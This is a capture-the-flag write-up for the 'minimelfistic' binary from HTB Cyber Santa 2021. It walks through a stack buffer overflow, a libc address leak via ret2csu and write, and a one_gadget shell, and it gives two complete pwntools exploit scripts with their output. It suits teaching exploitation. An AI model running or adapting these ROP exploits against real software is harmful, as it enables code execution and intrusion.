HTB Cyber Santa CTF 2021: minimelfistic

The Elves finally understood what went wrong with all their plans. It's a security system, but the alarm rings whenever Santa's house is vulnerable to an attack. Will you manage to deactivate it?

TL;DR

The program does not contain puts function and has insufficient gadgets for us to use a vanilla write function. Using ret2csu technique to control the registers and leak LIBC address, then leverage One Gadget to pop a shell.

Basic File Checks

After running the binary for a seemingly random amount of time, it will ask whether we want to turn off the alarm. Whether you put yes or no, it ignores you.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./minimelfistic                      

[*] Santa is not home!

[*] Santa is not home!

[!] Santa returned!

[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> y

[!] For your safety, the 🚨 will not be deactivated!

With only NX enabled, it seems like a classic ret2libc attack that leverages ROP chain.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=minimelfistic
[*] '/home/kali/Desktop: minimelfistic/minimelfistic'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE 

Static Code Analysis

Looking at the decompiled code, we can actually stop the program by entering 9. Even though it is not clear how many characters our input buffer local_48 can hold, the enormous number of bytes 0x7f0 it is taking in just screams for buffer overflow.

undefined8 main(void)

{
  size_t sVar1;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined *local_28;
  char *local_20;
  undefined *local_18;
  int local_c;
  
  setup();
  local_c = 1;
  while (local_c != 0) {
    sec_alarm(0);
    local_18 = &DAT_004022d0;
    sVar1 = strlen(&DAT_004022d0);
    write(1,local_18,sVar1);
    local_48 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    read(0,&local_48,0x7f0);
    if ((char)local_48 == '9') {
      local_20 = "Goodbye Santa!\n";
      sVar1 = strlen("Goodbye Santa!\n");
      write(1,local_20,sVar1);
      local_c = 0;
    }
    local_28 = &DAT_00402320;
    sVar1 = strlen(&DAT_00402320);
    write(1,local_28,sVar1);
    sleep(1);
  }
  return 0;
}

From this point onwards, there are no other user-defined functions like win or flag that is worth looking at, other than the banner function. It seems to be just calling write to print out the banner, which appears to be quite an innocent function, but can still perhaps be useful to us later.

void banner(void)

{
  size_t __n;
  
  __n = strlen(&DAT_00400a68);
  write(1,&DAT_00400a68,__n);
  return;
}

Finding Offset

Since there is no apparent function that we should target, other than a classic buffer overflow, I am suspecting this to be a ret2libc attack. As usual, we will start by fuzzing the offset.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ gdb minimelfistic

GNU gdb (Debian 13.1-3) 13.1
For help, type "help".
pwndbg> r
Starting program: /home/kali/Desktop/minimelfistic 

[!] Santa returned!

[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa

[!] For your safety, the 🚨 will not be deactivated!

[*] Santa is not home!

[*] Santa is not home!

[*] Santa is not home!

[*] Santa is not home!

[!] Santa returned!

[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> 9
Goodbye Santa!

[!] For your safety, the 🚨 will not be deactivated!

Program received signal SIGSEGV, Segmentation fault.
0x00000000004009dc in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────
 RAX  0x0
*RBX  0x7fffffffdf18 —▸ 0x7fffffffe26f ◂— '/home/kali/Desktop/minimelfistic'
*RCX  0x7ffff7e9a303 (clock_nanosleep+35) ◂— neg eax
 RDX  0x0
 RDI  0x0
 RSI  0x0
 R8   0x0
*R9   0x7ffff7f9d260 (pa_next_type) ◂— 0x8
*R10  0x7fffffffdd80 ◂— 0x1
*R11  0x202
 R12  0x0
*R13  0x7fffffffdf28 —▸ 0x7fffffffe290 ◂— 'COLORFGBG=15;0'
 R14  0x0
*R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP  0x6161616161616169 ('iaaaaaaa')
*RSP  0x7fffffffde08 ◂— 0x616161616161616a ('jaaaaaaa')
*RIP  0x4009dc (main+259) ◂— ret 
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────
 ► 0x4009dc <main+259>    ret    <0x616161616161616a>
────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde08 ◂— 0x616161616161616a ('jaaaaaaa')
01:0008│     0x7fffffffde10 ◂— 0x616161616161616b ('kaaaaaaa')
02:0010│     0x7fffffffde18 ◂— 0x616161616161616c ('laaaaaaa')
03:0018│     0x7fffffffde20 ◂— 0x616161616161616d ('maaaaaaa')
04:0020│     0x7fffffffde28 ◂— 'naaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
05:0028│     0x7fffffffde30 ◂— 'oaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
06:0030│     0x7fffffffde38 ◂— 'paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
07:0038│     0x7fffffffde40 ◂— 'qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
──────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────
 ► 0         0x4009dc main+259
   1 0x616161616161616a
   2 0x616161616161616b
   3 0x616161616161616c
   4 0x616161616161616d
   5 0x616161616161616e
   6 0x616161616161616f
   7 0x6161616161616170
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l jaaaaaaa
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72

Leaking LIBC Address

One thing that stands out is that puts is not used in the program. So we need to find another similar function such as write that is capable of writing to the standard output in order to leak the LIBC address.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ objdump -t minimelfistic | grep "GLIBC"   
0000000000603010 g     O .bss   0000000000000008              stdout@@GLIBC_2.2.5
0000000000603020 g     O .bss   0000000000000008              stdin@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              write@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              strlen@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              alarm@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              read@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              __libc_start_main@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              srand@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              time@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              setvbuf@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              sleep@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              rand@@GLIBC_2.2.5

In a typical ret2libc attack, puts requires the control of one register rdi for leaking the LIBC address; whereas write requires control of three registers:

  • rdi = File descriptor

  • rsi = Buffer to print

  • rdx = Number of bytes to write

However, it seems that we have no way to control the rdx register.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ropper --file minimelfistic --search "pop rsi|pop rdi|pop rdx"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rsi|pop rdi|pop rdx

[INFO] File: minimelfistic
0x0000000000400a43: pop rdi; ret; 
0x0000000000400a41: pop rsi; pop r15; ret; 

ret2csu

This is a textbook scenario for the use of the ret2csu technique, also known as the universal gadget, a technique used to populate registers when there is a lack of gadgets. Despite an apparent lack of gadgets, it allows us to populate the RDX and RSI registers, which are important for function parameters such as write().

The rest is basically the same as leaking address using puts. When in doubt, consult the man page to understand what arguments write is taking.

ret2csu.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
offset = 72

elf = ELF('./minimelfistic')
rop = ROP(elf)

local = True

if(local == True):
	p = elf.process()
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)
else:
	p = remote(ip, port)
	libc = ELF('./libc.so.6', checksec = False)

# write leak with ret2csu
# prepare write(rdi,rsi,rdx) 
# rdi = 1 to print to stdout
# rsi = ptr to addr we want to leak elf.got['write']
# rdx = how many bytes we want to print (8 bytes)
rop.ret2csu(1, elf.got.write, 8)
rop.call(elf.plt.write)
rop.call(elf.sym.main)

payload = flat({72:rop.chain()})

log.info(rop.dump())

p.sendlineafter(b">", payload)
p.sendlineafter(b">", b"9")
p.recvline()
p.recvline()
p.recvline()

leaked_libc_write = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leaked_libc_write - libc.sym.write
print("Leaked LIBC Base Address: ", hex(libc.address))

rop = ROP(libc)

pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
bin_sh = next(libc.search(b"/bin/sh"))

rop.raw(pop_rdi)
rop.raw(bin_sh)
rop.raw(libc.sym.system)

payload = flat({72:rop.chain()})

p.sendlineafter(b">", payload)
p.sendlineafter(b">", b"9")
p.interactive()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./ret2csu.py 
[*] '/home/kali/Desktop/minimelfistic'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './minimelfistic'
[+] Starting local process '/home/kali/Desktop/minimelfistic': pid 4983
[*] 0x0000:         0x400a3a
    0x0008:              0x0
    0x0010:              0x1
    0x0018:         0x602dc8
    0x0020:              0x1
    0x0028:         0x602fa8 got.write
    0x0030:              0x8
    0x0038:         0x400a20
    0x0040:      b'qaaaraaa' <add rsp, 8>
    0x0048:      b'saaataaa' rbx
    0x0050:      b'uaaavaaa' rbp
    0x0058:      b'waaaxaaa' r12
    0x0060:      b'yaaazaab' r13
    0x0068:      b'baabcaab' r14
    0x0070:      b'daabeaab' r15
    0x0078:         0x400630 0x400630()
    0x0080:         0x4008d9 0x4008d9()
Leaked LIBC Base Address:  0x7fd559368000
[*] Loaded 195 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] Switching to interactive mode
 Goodbye Santa!

[!] For your safety, the 🚨 will not be deactivated!
$ cat flag.txt
HTB{S4nt4_15_n0w_r34dy_t0_g1v3_s0m3_g1ft5}

Manual Popping Registers

Recall that the banner function also uses write in it's procedure? This must mean that the RDX register is populated with the length of the banner message using strlen. Even though the value of RDX is not exactly 8 bytes, it does not really matter to us, because as long as it is >= 8 bytes, we will be able to get the full address of got.write regardless.

We can use this to compensate for the lack of pop rdx gadgets, and now we have control over 3 of the required registers for write. In other words, we can now craft the ROP chain manually without using ret2csu.

Calling the banner function will take care of RDI and RDX on our behalf, so we just need to focus on getting got.write into RSI. Based on the available options of gadgets, we are forced to pop rsi and pop r15 at the same time, so we have to fill back r15 with any dummy value.

payload = padding 
# Call banner() to set RDX to 0x1836 and EDI to 0x1
payload += p64(elf.symbols["banner"])
payload += p64(rop.rsi.address) 
payload += p64(elf.got["write"])   # write_got fill into rsi
payload += p64(0x3030303030303030) # Filler value to fill popped r15 (8 bytes)
payload += p64(elf.symbols["write"])
payload += p64(elf.symbols["main"])

One Gadget

After calculating the base address of LIBC, there is another fancy way to pop a system shell - via One Gadget. A one_gadget is simply an execve("/bin/sh") command that is present in gLIBC. However, there are certain constraints that must be met in order for it to work.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4bfe0 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
  rbx == NULL || (u16)[rbx] == NULL

0xf2532 posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x40], 0, rsp+0x70, [rsp+0xf0])
constraints:
  [rsp+0x70] == NULL
  [[rsp+0xf0]] == NULL || [rsp+0xf0] == NULL
  [rsp+0x40] == NULL || (s32)[[rsp+0x40]+0x4] <= 0

0xf253a posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x40], 0, rsp+0x70, r9)
constraints:
  [rsp+0x70] == NULL
  [r9] == NULL || r9 == NULL
  [rsp+0x40] == NULL || (s32)[[rsp+0x40]+0x4] <= 0

0xf253f posix_spawn(rsp+0x64, "/bin/sh", rdx, 0, rsp+0x70, r9)
constraints:
  [rsp+0x70] == NULL
  [r9] == NULL || r9 == NULL
  rdx == NULL || (s32)[rdx+0x4] <= 0

The process of validating these constraints through debugging can be very tedious, and in fact, your LIBC version may not even have a working one_gadget. As such, a general rule of thumb is to play around with all the available one_gadgets to see if any one of them works for your scenario.

onegadget.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

elf = ELF('./minimelfistic')
rop = ROP(elf)

local = True

if(local == True):
	io = elf.process()
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)
else:
	io = remote(ip, port)
	libc = ELF('./libc.so.6', checksec = False)

padding = b'A' * 72 

# Payload Goal: EDI = 1, RSI = write_got, RDX = 8
# 1. Call banner() to set RDX to 0x1836 and EDI to 0x1
# 2. Call pop_rsi_r15 gadget to put write() GOT entry into RSI
# 3. Fill back popped r15 value with any 8 bytes value
# 4. Call write_plt to leak libc
# 5. Return to vulnerable function main() to execute stage 2
payload = padding 
payload += p64(elf.symbols["banner"])
payload += p64(rop.rsi.address) 
payload += p64(elf.got["write"])   # write_got fill into rsi
payload += p64(0x3030303030303030) # Filler value to fill popped r15 (8 bytes)
payload += p64(elf.symbols["write"])
payload += p64(elf.symbols["main"])

log.info('Attempting to leak libc base...')
log.info('Sending first payload...')
io.sendlineafter(b">", payload)
io.sendlineafter(b">", b"9")

# Skip banner
io.recvlines(41)

libc_write_addr = u64(io.recv(8))
libc_base = libc_write_addr - libc.symbols["write"]
log.info(f'Found libc base: {hex(libc_base)}')

# one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget = 0x4bfe0 
gadget_jmp = p64(libc_base + one_gadget)
null_val = p64(0) # ensure rcx and rbx is NULL for one gadget constraints
payload2 = padding + gadget_jmp + null_val * 100

log.info('Attempting to execute /bin/sh...')
log.info('Sending second payload...')
io.sendlineafter(b">", payload2)
io.sendlineafter(b">", b"9")

io.interactive()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./onegadget.py 
[*] '/home/kali/Desktop/minimelfistic'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for './minimelfistic'
[+] Starting local process '/home/kali/Desktop/minimelfistic': pid 5063
[*] Attempting to leak libc base...
[*] Sending first payload...
[*] Found libc base: 0x7ff1e134c000
[*] Attempting to execute /bin/sh...
[*] Sending second payload...
[*] Switching to interactive mode
 
[!] For your safety, the 🚨 will not be deactivated!

[*] Santa is not home!\x07

[*] Santa is not home!\x07

[!] Santa returned!

[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> Goodbye Santa!

[!] For your safety, the 🚨 will not be deactivated!
$ cat flag.txt
HTB{S4nt4_15_n0w_r34dy_t0_g1v3_s0m3_g1ft5}

Flag: HTB{S4nt4_15_n0w_r34dy_t0_g1v3_s0m3_g1ft5}

Last updated